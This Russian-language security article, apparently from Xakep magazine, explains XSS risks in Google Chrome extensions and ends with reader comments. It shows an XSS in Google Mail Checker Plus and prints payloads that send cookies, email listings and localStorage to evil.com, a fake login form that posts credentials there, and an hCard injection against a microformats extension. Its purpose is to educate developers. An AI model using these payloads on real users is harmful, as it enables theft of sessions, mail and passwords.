Безопасность плагинов Google Chrome

    С каждым днем Google Chrome становится все более и более популярен. Его создатели проделали большую работу, разработав платформу для создания расширений для браузера. Они несут в себе дополнительный функционал, но и новую опасность.

    XSS в Google Mail Checker Plus

    В рамках этого материала я не буду детально описывать, что представляет собой архитектура расширений в Chrome. Об этом можно узнать подробнее из хорошей статьи Ларри Селцера «Google's Chrome Extensions Show Security Focus». А для понимания всего того, о чем пойдет речь ниже, тебе нужно осознать всего несколько моментов. Первое – браузер Chrome, как и тот же самый Firefox, поддерживает расширения. По сути, это небольшие программные модули, с помощью которых можно изменять и улучшать базовую функциональность. Второе — плагины разрабатываются с помощью привычных нам веб-технологий: HTML и JavaScript, включая вкусности HTML5 и CSS. Использование этих технологий на порядок упрощает процесс разработки, особенно в сравнении с написанием расширения для Огнелиса (хотя и там в основном используется тот же JavaScript). И третье — все плагины строятся по одной и той же структуре. Обычно расширение для Хрома включает в себя следующие составляющие:
    • файл манифеста manifest.json — в нeм содержится информация о расширении: например его название и описание, версия, используемые файлы, привилегии и другое;
    • одна и более HTML-страниц, включая фоновую страницу background.html, выступающую в роли движка расширения;
    • опционально: один и более JS-скриптов, включая внедряемые скрипты (это аналог UserJS в Опере и Greasemonkey в Мозилле);
    • опционально: всe остальное, что может понадобиться — например, файлы-изображения.
    Всe это хозяйство упаковывается в zip-архив с расширением crx. Для коммуникаций между страницами аддона предусмотрена возможность вызывать из одной страницы функции другой и даже изменять DOM-модель. Однако это не относится к внедряемым скриптам, для связи с которыми используется механизм сообщений. Для страниц расширения доступны специальные API-интерфейсы браузера для работы с закладками, историей посещений, куками, окнами, вкладками, событиями и так далее.

    Устройство расширения в Гугль Хроме
    Устройство расширения в Гугль Хроме

    Теперь, имея общее представление о структуре расширений, предлагаю разобраться, какие риски могут нести эти технологии и что стоит учитывать разработчикам аддонов под Хром.

    XSS

    Рассмотрим популярное (около 18 368 установок в неделю) расширение для проверки Gmail’а – Google Mail Checker Plus. Этот полезный аддон делает только одно – показывает количество непрочитанных писем в твоeм инбоксе, а по клику на кнопке открывает окно предпросмотра. Помимо этого в нем реализованы оповещения на рабочем столе.

    Предпросмотр письма в всплывающем окне Google Mail Checker Plus
    Предпросмотр письма в всплывающем окне Google Mail Checker Plus

    В области предпросмотра мы можем увидеть как минимум тему письма, отправителя и немного непосредственно текста сообщения. Попробуем с этим поиграться. Скажем, что будет, если послать письмо со следующей темой?

    2"'><script src="http://evil.com/own.js"></script>
    

    Тут own.js — это простая JavaScript-нагрузка для демонстрации уязвимости:

    document.body.innerHTML = '';
    img = new Image();
    img.src = 'http://evil.com/stallowned.jpg';
    document.body.appendChild(img);
    

    После того как пришло письмо, нам отобразится сначала уведомление на рабочем столе:

    XSS в уведомлении Google Mail Checker Plus
    XSS в уведомлении Google Mail Checker Plus

    И затем по клику на кнопке расширения мы увидим уже нашу XSS во всплывающем окне расширения:

    XSS в Google Mail Checker Plus
    XSS в Google Mail Checker Plus

    Бинго! Кстати говоря, эта уязвимость была обнаружена человеком под ником Lostmon ещe в июне 2010 года, но я подковырял еe, и автору расширения пришлось вносить исправления повторно :). Этот же человек, рапортуя о баге, писал:
    All extensions runs over his origin and no have way to altered data from extension or get sensitive data like, email account or password etc...
    Рассказывая о невозможности добраться до конфиденциальных данных через подобные уязвимости, он не совсем прав :). Покопаем, что же можно сделать с помощью банальной XSS в случае с расширением к браузеру.

    Куки

    Сессионные данные – популярная цель для XSS-атаки. Но расширение работает в своего рода песочнице и напрямую доступ к кукам через объект document.cookie получить уже не получится — нам надо использовать API. Для работы с куками расширению (и нам тоже) необходимы специальные привилегии и явным образом прописанные в манифесте домены, например вот так:

    {
        "name": "My extension",
        ...
        "permissions": [
        "cookies",
        "*://*.google.com"
        ],
    ...
    }
    

    Очевидно, что риск увеличивается, когда у расширения слишком много прав, то есть как минимум права на работу с куками и большое количество прописанных доменов в соответствующей секции манифеста. В таком случае XSS становится гораздо более опасной штукой, поскольку злоумышленник сможет получить доступ к кукам сразу всех разрешeнных доменов. Следующий код демонстрирует, как можно собрать все доступные куки и отправить их на снифер:

    chrome.cookies.getAll({}, function(cookies) {
        var dump = 'COOKIES: ';
        for (var i in cookies) {
            dump += cookies[i].domain + ':' + cookies[i].name  + ':' + cookies[i].value + ' | ';
        }
        img = new Image();
        img.src = 'http://evil.com/stallowned.jpg?' + dump;
        document.body.appendChild(img);
    });
    

    Все данные отобразятся в логах запросов нашего веб-сервера.

    Данные веб-браузера как цель для атаки

    В предыдущей части мы рассмотрели, какой риск может нести в себе уязвимость в расширении, приводящая к XSS. При определeнных условиях (наличии большого количества привилегий и доменов в файле манифеста) злоумышленник может получить куки с разных сайтов, и это сильное преимущество перед XSS в обычном веб-приложении. Также он сможет заполучить такие интересные данные как история твоей работы с веб-браузером, закладки и другая информация, доступная через API при соответствующем разрешении.
    Таким образом, в зависимости от типа расширения и его привилегий XSS может привести к компрометации данных пользователя на его компе, а не просто краже куков.

    Угон почтовой переписки

    С помощью XSS легко можно обойти настройки Gmail по показу внешнего содержимого. Пускай, это не так критично. Но если злоумышленник может внедрить произвольный HTML/JavaScript в конкретное письмо, он может и добавить тег , а по факту запроса картинки с сервера определить факт прочтения письма. Это всe возможно вне зависимости от настроек показа внешнего содержимого в Гмейле! Но это ерунда, а вот что по-настоящему серьезно, так это угон переписки. Представь на секунду, что ты получаешь вот такую JavaScript-нагрузку:

    var dump = '';
    var e = document.getElementsByTagName('a');
    i=0;
    while(i < e.length) { 
        if (e[i].className == 'openLink') {
            dump += e[i].innerText + ' | ';
        }
        i++;
    }
    img = new Image();
    img.src = 'http://evil.com/sniff.jpg?' + dump;
    document.body.appendChild(img);
    

    Это не что иное, как дампилка писем в рамках всплывающего окна расширения. Тут всe просто — мы перебираем все элементы из списка писем, в которых отображается информация о сообщении (отправитель, дата, тема и кусок мессаджа), и отправляем еe на сервер злоумышленника.

    Настройки расширения — там тоже могут быть интересные данные!

    Расширения вполне могут сохранять критичную информацию в своих настройках, доступ к которым осуществляется с помощью механизма веб-хранилищ HTML5. Конечно, такие аддоны надо поискать, но они существуют, это 100%. Например, в настройках такого «плохого» плагина может быть сохранена аутентификационная информация, и мы достанем еe оттуда с помощью следующего скрипта:

    var dump = ' LOCALSTORAGE: ';
    for (i = 0; i < localStorage.length; i++ ) {
        dump += "KEY: " + localStorage.key(i);
        dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | ";
    }
    img = new Image();
    img.src = 'http://evil.com/sniff.jpg?' + dump;
    document.body.appendChild(img);
    

    Фишинг

    Как уже было сказано выше, расширение не может напрямую обращаться к кукам, поэтому разработчикам плагинов необходимо использовать соответствующий API. Таким образом, заполучение куков в рамках XSS-атаки становится нетривиальным решением. Но с другой стороны — обычный фишинг-то никто не отменял! Злоумышленник может сделать простую псевдоформу логина и показать еe жертве через простую нагрузку:

    var msg = 'Please, enter account information.';
    msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
    msg += '<br>Password: <input type=password name=pass><br><input type=submit></form>';
    document.body.innerHTML = msg;
    

    Скриншот выглядит не слишком красиво, но это всего лишь концепт.

    Фишинг
    Фишинг

    Риски, связанные с использованием JSON

    JSON — это легковесный текстовый формат, который широко используется в веб-приложениях web 2.0 для обмена данными между клиентской и серверной частями. Он же применяется и в плагинах Chrome для описания файла манифеста:

    {
      "name": "Extension",
      "version": "1.0",
      "description": "Some extension",
      "icons": { "128": "icon.png" },
      "permissions": ["http://example.com/"],
      "browser_action": {
        "default_title": "",
        "default_icon": "pic.png",
        "default_popup": "view.html"
      }
    }
    

    Существует как минимум два больших риска, связанных с небезопасным применением JSON:
    1. Использование функции JavaScript eval() для разбора недоверенных данных (например, пользовательских). Разработчики Google специально выделили данный риск и написали рекомендации по безопасному разбору JSON с помощью встроенного метода JSON.parse.
    2. Менее очевидный, но не менее опасный риск похищения JSON-данных JavaScript hijacking.
    Не стоит забывать и про JSON(P), который используется для обмена данными между доменами. В контексте расширений Хрома эта потенциальная уязвимость мало чем отличается от такой же для обычного веб-приложения. Также с помощью любого промежуточного прокси можно посмотреть, каким образом идeт обмен данными между расширением и серверной частью веб-сервиса. А там вполне могут быть проблемы с безопасностью.

    Внедряемые скрипты

    Мы не единожды рассказывали про внедряемые скрипты (в одном из номеров ][ даже был подробный материал про Greasmonkey и его возможности). Хороший пример их использования — автоматическое обрамление всех URL-адресов на странице в html-тег , тем самым делая их ссылками, даже если автор страницы об этом не позаботился. Внедряемый скрипт (content script) — это, по сути, специальный кусок JavaScript, который внедряется в необходимые страницы и, что важно, выполняется в их контексте, а не в контексте расширения. Таким образом эти сценарии могут свободно читать и изменять содержимое текущей страницы, но при этом они сильно ограничены в использовании API-расширений. Если быть точным, то они не могут делать следующее:
    • использовать chrome.* APIs (кроме частей chrome.extension);
    • использовать переменные и функции, заданные в родительском расширении;
    • использовать переменные и функции, заданные непосредственно в коде страницы либо в других внедряемых скриптах;
    • делать кроссдоменные запросы XMLHttpRequests.
    С другой стороны, внедряемые скрипты могут общаться с родительским расширением с помощью специальной технологии сообщений. В общем виде мы имеем два риска, связанных с внедряемыми скриптами:
    1. В силу возможности изменять содержимое посещаемой страницы, плохо написанные скрипты могут добавить уязвимость на страницу, где изначально этой уязвимости не было!
    2. Зловредная страница сама может атаковать расширение веб-браузера через внедряемые скрипты.
    Давай разберeм пример второго случая и рассмотрим подробнее расширение для работы с микроформатами. Ниже представлен фрагмент HTML-кода с популярным микроформатом hCard. В поле URL мы запихали то, что, скорее всего, расширение не планирует там увидеть:

    <div class="vcard">
       <div class="fn">James Bond</div>
       <div class="org">MI-6</div>
       <div class="tel">604-555-1234</div>
       <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';
    document.body.appendChild(d);</script>233">http://example.com/</a>
     </div>
    

    Если у нас установлен этот аддон, и мы посетим страницу с таким кодом, то расширение попробует его оттуда выдернуть, распарсить и показать нам эти данные о человеке.

    Атака на расширение Microformats extension
    Атака на расширение Microformats extension

    Наша нагрузка отработала, и видно результат? Но какие риски это несeт? А вот какие. Рассматриваемое расширение умеет связываться с твоим гугловским аккаунтом с помощью протокола OAuth и API-сервиса адресной книги Гугла. С твоего разрешения оно имеет доступ к адресной книге и может добавлять туда записи по клику на соответствующей кнопке во всплывающем окне. Вот такой простой код, использующий фишки JQuery, добавит произвольный контакт в твою адресную книгу на Гмейле!

    
    $(".submithcard").click()
    

    Таким образом нам удалось обойти серьезные ограничения на использование API внедряемыми скриптами, и нагрузка пробросилась в основное окно расширения, в котором у нас уже больше возможностей.

    Заключение

    Что хочется сказать в итоге? Разработчики Google Chrome сделали действительно хорошую архитектуру расширений и предоставили достаточно возможностей для написания качественных и безопасных расширений. Но одновременно с этим мы видим, как выбранные для разработки технологии (HTML, CSS и JavaScript) при активном участии горе-разработчиков способствуют подверженности аддонов таким атакам как, скажем, XSS, к которым мы привыкли в контексте веб-приложений. При этом риски от такой XSS могут быть похлеще, чем от XSS в обычном веб-приложении. Создателям расширений непременно нужно особенно внимательно читать раздел «Security considerations» в руководстве разработчика, а пользователям – следить за обновлениями расширений и вовремя их устанавливать!

    Полезные ссылки:
    Журнал Хакер, Июнь (06) 149
    Тарас Иващенко


    Подпишись на «Хакер»
    Журнал Хакер 66,25
    Компания
    Поделиться публикацией
    Похожие публикации
    Ой, у вас баннер убежал!

    Ну. И что?
    Реклама
    Комментарии 26
      +16
      Чак разочарован выбором фотографии…
        +5
        Сталлоне круче, чем Чак
          +54
          Неожиданный холивар в статье о браузере
            +1
            А как же фирменный удар ногой с разворота?
              –1
              А он по нему из лука!..
                +7
                Стэллоун любую травму на себе чинит сам :) У него авторепэйр, так что удар не поможет.
                –1
                Вам бы лучше получше спрятаться. К вам скоро прибежит Чак. :)
              +4
              Как обычно все сводится к одному правилу: Не доверяй входящим данным
                0
                Или: Если разрешаешь читать плагину твои личные данные, то этот плагин может эти данные прочесть! :) Ну и остослать куда надо.

                Конечно тут не обошлось без Кэпа, но как показывает статистика, Кэп не всегда ко всем успевает вовремя и полно людей, которые когда их спрашивают «разрешаете ли этому плагину/приложению использовать ваши данные» как-то не задумываются о том, что эти данные могут быть использованны не только так, как описанно в информации о плагине/программы.

                В общем, это извечная проблема, котоаря существуют, как мне кажется, с самых превых программ: как ни защищай дурака, он всегда найдет где лежат грабли чтоб на них наступить.
                +1
                Хотелось бы увидеть аналогичную статью касаемо FireFox и Opera, если такой до сих пор не существует.
                0
                дык в уязвимостях виноваты не разработчики браузеров, а разработчики расширений… они игнорят требования и рекомендации по security (кодю как могу, называется) — в итоге получаем дырявое расширение…
                  +1
                  *в приступе паранои удалил все приложения, кроме адблока!*
                    +3
                    Что ви знаете о паранойе?
                    У меня НЕТ ни одного расширения, и даже адблока.
                      0
                      И дырки в браузерах латаешь ещё тогда, когда обновления в альфатестах, ато гляди и сам о дырках сообщаешь?

                      Свежий exploit-пак может поселить в систему что угодно, ИМХО.
                        0
                        > И дырки в браузерах латаешь ещё тогда, когда обновления в альфатестах, ато гляди и сам о дырках сообщаешь?

                        Конечно. Счас пишу из-под беты пятого ФФ.
                          0
                          Да, сидеть на unstable версии с кучей новых дыр самое разумное решение.
                        0
                        До безопасности остался всего один шаг — никакого онлайна!
                      0
                      Таким образом не нужно и систему инфицировать: достаточно подменить расширение в браузере на свое (или установить свое принудительно) и раствориться. Команды инфицированной машине можно передавать при посещении зловредной страницы. Тишь да гладь, никакого палева.
                        +3
                        Вы что-то в терминологии, по-моему, напутали. Плагины (plugins) в Google Chrome — это Adobe Flash, IcedTea и т. п., тогда как то, о чём идёт речь в статье — это extensions (расширения). Или я что-то путаю, ибо сначала я решил, что речь пойдёт именно о дырках Flash или встроенного PDF Reader?
                          +2
                          Я что то не понял причём тут платформа плагинов Google Chrome и криворукий кодер плагина Google Mail Checker Plus? В официальном плагине gmail точно такого нет…
                            +4
                            Вы не поняли самой сути статьи: не все йогурты расширения одинаково полезны безопасны и не стоит бездумно ими пользоваться.
                            0
                            А нельзя ли делать сообщество (или что-то типа этого) по проверке уязвимости расширений? У каждого расширения сколько тысяч пользователей, многим будет полезно. Даже разработчикам этих расширений.
                              0
                              Появилась статья в песочнице об этом: habrahabr.ru/sandbox/29741/ — Хабраэкспертиза для приложений из магазинов от Google
                              0
                              использовать переменные и функции, заданные непосредственно в коде страницы либо в других внедряемых скриптах;


                              В Хромовых расширениях внедряемые скрипты работаю в собственном виртуальном мире и доступ к переменным и функциям страницы полностью отсутствует. То есть, к примеру, покрывать код скрипта в анонимную функцию совершенно не обязательно.

                              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                              Самое читаемое